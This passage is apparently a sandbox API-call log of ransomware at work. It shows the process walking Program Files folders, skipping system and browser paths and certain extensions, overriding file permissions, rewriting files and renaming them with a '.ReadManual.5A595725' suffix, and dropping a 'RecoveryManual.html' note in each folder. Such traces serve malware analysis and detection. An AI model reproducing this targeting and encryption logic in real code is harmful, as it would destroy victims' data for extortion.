psz2="msi") returned 1 [0252.970] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.971] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.971] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.971] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.971] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.971] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.971] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.971] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.971] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.971] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.971] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" [0252.971] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0252.971] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 111 [0252.971] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37363962699) returned 1 [0252.971] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png")) returned 0x20 [0252.971] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.971] GetLastError () returned 0x5 [0252.971] GetNamedSecurityInfoW () returned 0x0 [0252.971] SetNamedSecurityInfoW () returned 0x0 [0252.972] SetNamedSecurityInfoW () returned 0x0 [0252.972] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.972] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0252.972] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0252.973] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0252.973] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.973] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.975] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.975] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0252.975] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.975] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37364373190) returned 1 [0252.975] CloseHandle (hObject=0x1a0) returned 1 [0252.975] SetSecurityInfo () returned 0x5 [0252.975] SetSecurityInfo () returned 0x5 [0252.975] LocalFree (hMem=0x674d38) returned 0x0 [0252.975] CloseHandle (hObject=0x184) returned 1 [0252.975] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0252.976] lstrcpyW (in: lpString1=0x6ab90a, lpString2="vintage.png" | out: lpString1="vintage.png") returned="vintage.png" [0252.976] lstrcmpiW (lpString1="vintage.png", lpString2="RecoveryManual.html") returned 1 [0252.976] StrStrIW (lpFirst="vintage.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.976] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.976] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.976] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.976] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.976] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.976] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.976] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.976] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.976] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.976] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.976] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.976] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.976] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.976] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.976] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" [0252.976] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.ReadManual.5A595725" [0252.976] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.ReadManual.5A595725") returned 86 [0252.976] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37364636365) returned 1 [0252.978] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png")) returned 0x20 [0252.978] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.978] GetLastError () returned 0x5 [0252.978] GetNamedSecurityInfoW () returned 0x0 [0252.978] SetNamedSecurityInfoW () returned 0x0 [0252.978] SetNamedSecurityInfoW () returned 0x0 [0252.979] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.979] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=27789) returned 1 [0252.979] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c8d, lpName=0x0) returned 0x1a0 [0252.979] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0252.980] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.980] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.981] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.982] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c8d) returned 0x2f0000 [0252.982] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.982] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37365095439) returned 1 [0252.982] CloseHandle (hObject=0x1a0) returned 1 [0252.982] SetSecurityInfo () returned 0x5 [0252.982] SetSecurityInfo () returned 0x5 [0252.982] LocalFree (hMem=0x674d38) returned 0x0 [0252.982] CloseHandle (hObject=0x184) returned 1 [0252.983] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0252.983] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0252.983] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0252.983] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Performance" | out: lpString1="Performance") returned="Performance" [0252.983] lstrcatW (in: lpString1="Performance", lpString2="\\" | out: lpString1="Performance\\") returned="Performance\\" [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch=":\\Windows\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch=":\\WINNT") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch=":\\Windows.old\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch=":\\PerfLog\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\WindowsApps\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\Windows Defender\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\microsoft shared\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0252.983] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0252.984] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0252.984] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0252.984] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\Tor Browser\\") returned 0x0 [0252.984] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0252.984] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\") returned 60 [0252.984] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0252.986] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\" [0252.986] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.986] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0252.986] lstrcpyW (in: lpString1=0x6ab914, lpString2="720x480blacksquare.png" | out: lpString1="720x480blacksquare.png") returned="720x480blacksquare.png" [0252.986] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="RecoveryManual.html") returned -1 [0252.986] StrStrIW (lpFirst="720x480blacksquare.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.986] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.986] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.986] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.986] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.986] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.986] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.986] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.986] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.986] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.986] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.986] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.986] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.986] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.986] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.986] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" [0252.987] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.ReadManual.5A595725" [0252.987] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.ReadManual.5A595725") returned 102 [0252.987] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37365536288) returned 1 [0252.987] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png")) returned 0x20 [0252.987] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.987] GetLastError () returned 0x5 [0252.988] GetNamedSecurityInfoW () returned 0x0 [0252.988] SetNamedSecurityInfoW () returned 0x0 [0252.988] SetNamedSecurityInfoW () returned 0x0 [0252.989] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.989] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3823) returned 1 [0252.989] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeef, lpName=0x0) returned 0x1a0 [0252.989] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0252.990] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.990] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.991] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.992] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xeef) returned 0x2f0000 [0252.992] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.992] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37366066497) returned 1 [0252.992] CloseHandle (hObject=0x1a0) returned 1 [0252.992] SetSecurityInfo () returned 0x5 [0252.992] SetSecurityInfo () returned 0x5 [0252.992] LocalFree (hMem=0x674d38) returned 0x0 [0252.992] CloseHandle (hObject=0x184) returned 1 [0252.993] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\" [0252.993] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\RecoveryManual.html" [0252.993] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0252.994] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0252.995] CloseHandle (hObject=0x184) returned 1 [0252.995] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0252.995] lstrcpyW (in: lpString1=0x6ab914, lpString2="NextMenuButtonIcon.png" | out: lpString1="NextMenuButtonIcon.png") returned="NextMenuButtonIcon.png" [0252.995] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="RecoveryManual.html") returned -1 [0252.995] StrStrIW (lpFirst="NextMenuButtonIcon.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.995] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.996] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.996] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.996] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.996] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.996] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.996] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.996] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.996] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.996] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.996] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.996] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.996] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.996] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.996] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" [0252.996] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png", lpString2=".ReadManual.5A595725" | out: 